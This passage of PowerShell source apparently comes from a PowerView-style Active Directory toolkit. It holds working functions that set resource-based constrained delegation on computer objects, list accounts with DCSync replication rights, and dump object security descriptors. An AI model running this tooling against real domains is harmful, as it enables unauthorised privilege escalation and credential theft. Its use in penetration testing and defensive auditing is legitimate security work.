.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.EXAMPLE
|
|
|
|
Set-DomainRBCD Computer1 -DelegateFrom Computer2|Computer3
|
|
|
|
Configured RBCD on Computer1 to allow Computer2 and Computer3 delegation rights.
|
|
#>
|
|
[OutputType([bool])]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('SamAccountName', 'Name', 'DNSHostName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[String]
|
|
$DelegateFrom,
|
|
|
|
[Switch]
|
|
$Clear,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
)
|
|
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$RBCDSearcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
|
|
PROCESS {
|
|
#bind dynamic parameter to a friendly variable
|
|
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
|
|
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
|
|
}
|
|
if ($RBCDSearcher) {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
|
|
# form SDDL string and resulting SD bytes
|
|
$SDDLString = ''
|
|
if ($PSBoundParameters['DelegateFrom']) {
|
|
$DelegateFilter = ''
|
|
$DelegateFrom.Split('|') | Get-IdentityFilterString | ForEach-Object {
|
|
$DelegateFilter += $_
|
|
Write-Verbose "[Set-DomainRBCD] Appending DelegateFilter: $_"
|
|
}
|
|
|
|
$RBCDSearcher.filter = "(|$DelegateFilter)"
|
|
Write-Verbose "[Set-DomainRBCD] Set-DomainRBCD filter string: $($RBCDSearcher.filter)"
|
|
$Results = $RBCDSearcher.FindAll()
|
|
if ($Results) {
|
|
$SDDLString = 'O:BAD:'
|
|
}
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Object = Convert-LDAPProperty -Properties $_.Properties
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
|
|
$SDDLString += "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($Object.objectsid))"
|
|
Write-Verbose "[Set-DomainRBCD] Appending to SDDL string: (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($Object.objectsid))"
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Set-DomainRBCD] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
Write-Verbose "[Set-DomainRBCD] Using SDDL string: $SDDLString"
|
|
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDDLString
|
|
$SDBytes = New-Object byte[] ($SD.BinaryLength)
|
|
$SD.GetBinaryForm($SDBytes, 0)
|
|
|
|
}
|
|
|
|
$IdentityParts = $Identity -split '\\'
|
|
if ($IdentityParts.length -gt 1) {
|
|
$SearcherArguments['Domain'] = $IdentityParts[0]
|
|
$Identity = $IdentityParts[1]
|
|
}
|
|
$IdentitySearcher = Get-DomainSearcher @SearcherArguments
|
|
$Identity | Get-IdentityFilterString | ForEach-Object {
|
|
$IdentityFilter += $_
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter = "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Set-DomainRBCD] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
if ($Filter -and $Filter -ne '') {
|
|
$IdentitySearcher.filter = "(&$Filter)"
|
|
}
|
|
Write-Verbose "[Set-DomainRBCD] Set-DomainRBCD filter string: $($RBCDSearcher.filter)"
|
|
|
|
if ($PSBoundParameters['FindOne']) { $Results = $RBCDSearcher.FindOne() }
|
|
else { $Results = $IdentitySearcher.FindAll() }
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Object = $_
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
|
|
$Entry = $Object.GetDirectoryEntry()
|
|
try {
|
|
Write-Verbose "[Set-DomainRBCD] Setting 'msds-allowedtoactonbehalfofotheridentity' to '$SDBytes' for object '$($Object.Properties.samaccountname)'"
|
|
if ($SDBytes) {
|
|
$Entry.put('msds-allowedtoactonbehalfofotheridentity', $SDBytes)
|
|
}
|
|
elseif ($PSBoundParameters['Clear']) {
|
|
$Entry.Properties['msds-allowedtoactonbehalfofotheridentity'].Clear()
|
|
}
|
|
$Entry.commitchanges()
|
|
}
|
|
catch {
|
|
Write-Warning "[Set-DomainRBCD] Error setting/replacing properties for object '$($Object.Properties.samaccountname)' : $SDBytes"
|
|
}
|
|
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Set-DomainRBCD] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$RBCDSearcher.dispose()
|
|
}
|
|
}
|
|
}
|
|
|
|
function Get-IdentityFilterString {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helper function to retrieve the IdentityFilter string to avoid code duplication.
|
|
Pulled from @harmj0y's Get-DomainUser function.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
|
|
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-IdentityFilterString -Identity $Identity
|
|
|
|
Returns an LDAP search string for provided identites
|
|
#>
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('SamAccountName', 'Name', 'DNSHostName')]
|
|
[String[]]
|
|
$Identity
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
}
|
|
|
|
PROCESS {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^S-1-') {
|
|
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
|
}
|
|
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-IdentityFilterString] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
#$SearcherArguments['Domain'] = $IdentityDomain
|
|
#if (-not $ObjectSearcher) {
|
|
#Write-Warning "[Get-IdentityFilterString] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
#}
|
|
}
|
|
}
|
|
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
|
|
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
elseif ($IdentityInstance.Contains('\')) {
|
|
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
|
|
if ($ConvertedIdentityInstance) {
|
|
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
|
|
$ObjectName = $IdentityInstance.Split('\')[1]
|
|
$IdentityFilter += "(samAccountName=$ObjectName)"
|
|
#$SearcherArguments['Domain'] = $ObjectDomain
|
|
Write-Verbose "[Get-IdentityFilterString] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
|
|
}
|
|
}
|
|
elseif ($IdentityInstance.Contains('.')) {
|
|
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
|
|
}
|
|
else {
|
|
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
|
|
}
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
$Filter
|
|
}
|
|
}
|
|
|
|
|
|
|
|
function Get-DomainDCSync {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds accounts that have DCSync privileges.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.PARAMETER Users
|
|
|
|
Switch. Return user accounts.
|
|
|
|
.PARAMETER Computers
|
|
|
|
Switch. Return computer accounts.
|
|
|
|
.PARAMETER Groups
|
|
|
|
Switch. Return groups.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDCSync
|
|
|
|
Returns accounts that have DCSync privileges in current domain.
|
|
#>
|
|
[OutputType('PowerView.ADObject')]
|
|
[OutputType('PowerView.ADObject.Raw')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Switch]
|
|
$Users,
|
|
|
|
[Switch]
|
|
$Computers,
|
|
|
|
[Switch]
|
|
$Groups,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
$DNSearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain; $DNSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server; $DNSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
|
|
PROCESS {
|
|
$DomainDN = Get-DomainDN @DNSearcherArguments
|
|
Write-Verbose "[Get-DomainDCSync] Retrieved the domain distinguishedname: $DomainDN"
|
|
|
|
# Hash Table for storing DCSync privileges
|
|
$Privs = @{}
|
|
|
|
# Are any type filters set?
|
|
$NoType = $True
|
|
if ($PSBoundParameters['Users'] -or $PSBoundParameters['Computers'] -or $PSBoundParameters['Groups']) {
|
|
$NoType = $False
|
|
}
|
|
|
|
# Loop through ACL on the domain head
|
|
Get-DomainObjectACL $DomainDN -RightsFilter DCSync @SearcherArguments | ForEach-Object {
|
|
$ACE = $_
|
|
$SID = $ACE.SecurityIdentifier.Value
|
|
$ADRights = $ACE.ActiveDirectoryRights
|
|
if ($ADRights -eq 'GenericAll' -or ($ADRights -eq 'ExtendedRight' -and !($ACE.ObjectAceType) -and !($ACE.InheritedObjectAceType))) {
|
|
$Privs.$SID = @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')
|
|
}
|
|
else {
|
|
$ACEType = $ACE.ObjectAceType.Guid
|
|
if (!($Privs.keys -contains $SID)) {
|
|
$Privs.Add($SID, @($ACEType))
|
|
}
|
|
elseif (!($Privs.$SID -contains $ACEType)) {
|
|
$Privs.$SID += $ACEType
|
|
}
|
|
}
|
|
}
|
|
|
|
# Initial account type filter
|
|
$Filter = ''
|
|
$TypeFilter = ''
|
|
$IdentityFilter = ''
|
|
if ($PSBoundParameters['Users']) {
|
|
$TypeFilter += '(samAccountType=805306368)'
|
|
}
|
|
if ($PSBoundParameters['Computers']) {
|
|
$TypeFilter += '(samAccountType=805306369)'
|
|
}
|
|
if ($PSBoundParameters['Groups']) {
|
|
$TypeFilter += '(objectCategory=group)'
|
|
}
|
|
if ($TypeFilter -and ($TypeFilter.Trim() -ne '')) {
|
|
$Filter = "(|$TypeFilter)"
|
|
}
|
|
else {
|
|
$Filter = '(|(samAccountType=805306368)(samAccountType=805306369))'
|
|
}
|
|
|
|
# Keep track of SIDs that have been added
|
|
$Check = @()
|
|
|
|
$Privs.keys | ForEach-Object {
|
|
if ($Privs.$_.Contains('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2') -and $Privs.$_.Contains('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) {
|
|
$Object = Get-DomainObject $_
|
|
if ($Object) {
|
|
$ObjectSID = $Object.objectsid
|
|
if ($Object.objectclass -contains 'group') {
|
|
if ($PSBoundParameters['Groups'] -and !($Check -contains $ObjectSID)) {
|
|
$IdentityFilter += "(objectsid=$ObjectSID)"
|
|
}
|
|
$Object | Get-DomainGroupMember -Recurse @SearcherArguments | ForEach-Object {
|
|
$MemberSID = $_.MemberSID
|
|
if ($_.MemberObjectClass -ne 'group' -and !($Check -contains $MemberSID)) {
|
|
if (($NoType) -Or ((($PSBoundParameters['Users']) -And ($_.MemberObjectClass -eq 'user')) -Or (($PSBoundParameters['Computers']) -And ($_.MemberObjectClass -eq 'computer')))) {
|
|
$IdentityFilter += "(objectsid=$MemberSID)"
|
|
}
|
|
}
|
|
elseif (!($Check -contains $MemberSID)) {
|
|
if ($PSBoundParameters['Groups']) {
|
|
$IdentityFilter += "(objectsid=$MemberSID)"
|
|
}
|
|
}
|
|
$Check += $MemberSID
|
|
}
|
|
}
|
|
elseif (!($Check -contains $ObjectSID)) {
|
|
if (($NoType) -Or ((($PSBoundParameters['Users']) -And ($Object.samaccounttype -eq 'USER_OBJECT')) -Or (($PSBoundParameters['Computers']) -And ($Object.samaccounttype -eq 'MACHINE_ACCOUNT')))) {
|
|
$IdentityFilter += "(objectsid=$ObjectSID)"
|
|
}
|
|
}
|
|
$Check += $ObjectSID
|
|
}
|
|
}
|
|
}
|
|
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainDCSync] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
if ($Filter -and $Filter -ne '') {
|
|
$ObjectSearcher.filter = "(&$Filter)"
|
|
}
|
|
Write-Verbose "[Get-DomainDCSync] Get-DomainDCSync filter string: $($ObjectSearcher.filter)"
|
|
|
|
if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
|
|
else { $Results = $ObjectSearcher.FindAll() }
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$Object = $_
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
|
|
}
|
|
else {
|
|
$Object = Convert-LDAPProperty -Properties $_.Properties
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
|
|
}
|
|
|
|
$Object
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainDCSync] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$ObjectSearcher.dispose()
|
|
|
|
}
|
|
}
|
|
|
|
function Get-DomainObjectSD {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the ACLs associated with a specific active directory object. By default
|
|
the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
|
|
|
|
Author: Charlie Clark (@exploitph)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted.
|
|
|
|
.PARAMETER OutFile
|
|
|
|
Output file of the SD's to be backed up in the CSV format.
|
|
|
|
.PARAMETER Check
|
|
|
|
Check the SD with the provided SD and report if it's the same or different.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Set-DomainObjectAcl -Identity charlie.clark -Domain testlab.local -SDDLString "O:S-1-5-21-2042794111-3163024120-2630140754-512G:S-1-5-21-2042794111-3163024120-2630140754-512D:AI(OA;;RP;4c..."
|
|
|
|
Set the SD for the charlie.clark user in the testlab.local domain to
|
|
the SD string specified by SDDLString.
|
|
|
|
.EXAMPLE
|
|
|
|
Set-DomainObjectSD -InputFile .\backup-sds.csv
|
|
|
|
Restore all of the SD's contained within the file .\backup-sds.csv.
|
|
|
|
.OUTPUTS
|
|
|
|
PSObject
|
|
|
|
Custom PSObject with ACL entries.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([PSObject])]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[String]
|
|
$OutFile,
|
|
|
|
[String]
|
|
$Check,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
|
|
}
|
|
|
|
$SearcherArguments['SecurityMasks'] = 'Dacl'
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$Searcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
|
|
PROCESS {
|
|
if ($Searcher) {
|
|
$Filter = ''
|
|
$Checks = ''
|
|
$Identity | Get-IdentityFilterString | ForEach-Object {
|
|
$Filter += $_
|
|
}
|
|
if (!($Filter) -and $PSBoundParameters['Check'] -and (Test-Path -Path $Check -PathType Leaf)) {
|
|
$Checks = Import-Csv $Check
|
|
$Checks | ForEach-Object {$Filter += Get-IdentityFilterString $_.ObjectSID}
|
|
}
|
|
if ($Filter) {
|
|
$Searcher.filter = "(|$Filter)"
|
|
Write-Verbose "[Get-DomainObjectSD] Using filter: $($Searcher.filter)"
|
|
$Objects = @()
|
|
$Results = $Searcher.FindAll()
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Object = $_.Properties
|
|
|
|
if ($Object.objectsid -and $Object.objectsid[0]) {
|
|
$ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
|
|
}
|
|
else {
|
|
$ObjectSid = $Null
|
|
}
|
|
|
|
$SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0
|
|
$SDDLObject = New-Object PSObject
|
|
$SDDLObject | Add-Member "ObjectSID" $ObjectSid
|
|
$SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15)
|
|
if ($Checks) {
|
|
$SDDLtoCheck = $Checks | Where-Object {$_.ObjectSID -eq $ObjectSid}
|
|
if ($SDDLtoCheck.ObjectSDDL -eq $SDDLObject.ObjectSDDL) {
|
|
Write-Verbose "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same as the one provided"
|
|
}
|
|
else {
|
|
Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is different to the one provided"
|
|
$SDDLObject
|
|
$Objects += $SDDLObject
|
|
}
|
|
}
|
|
elseif ($PSBoundParameters['Check'] -and $Check -eq $SDDLObject.ObjectSDDL) {
|
|
Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same as the one provided"
|
|
}
|
|
elseif ($PSBoundParameters['Check']) {
|
|
Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is different to the one provided"
|
|
$SDDLObject
|
|
$Objects += $SDDLObject
|
|
}
|
|
else {
|
|
$SDDLObject
|
|
$Objects += $SDDLObject
|
|
}
|
|
}
|
|
if ($PSBoundParameters['OutFile']) {
|
|
try {
|
|
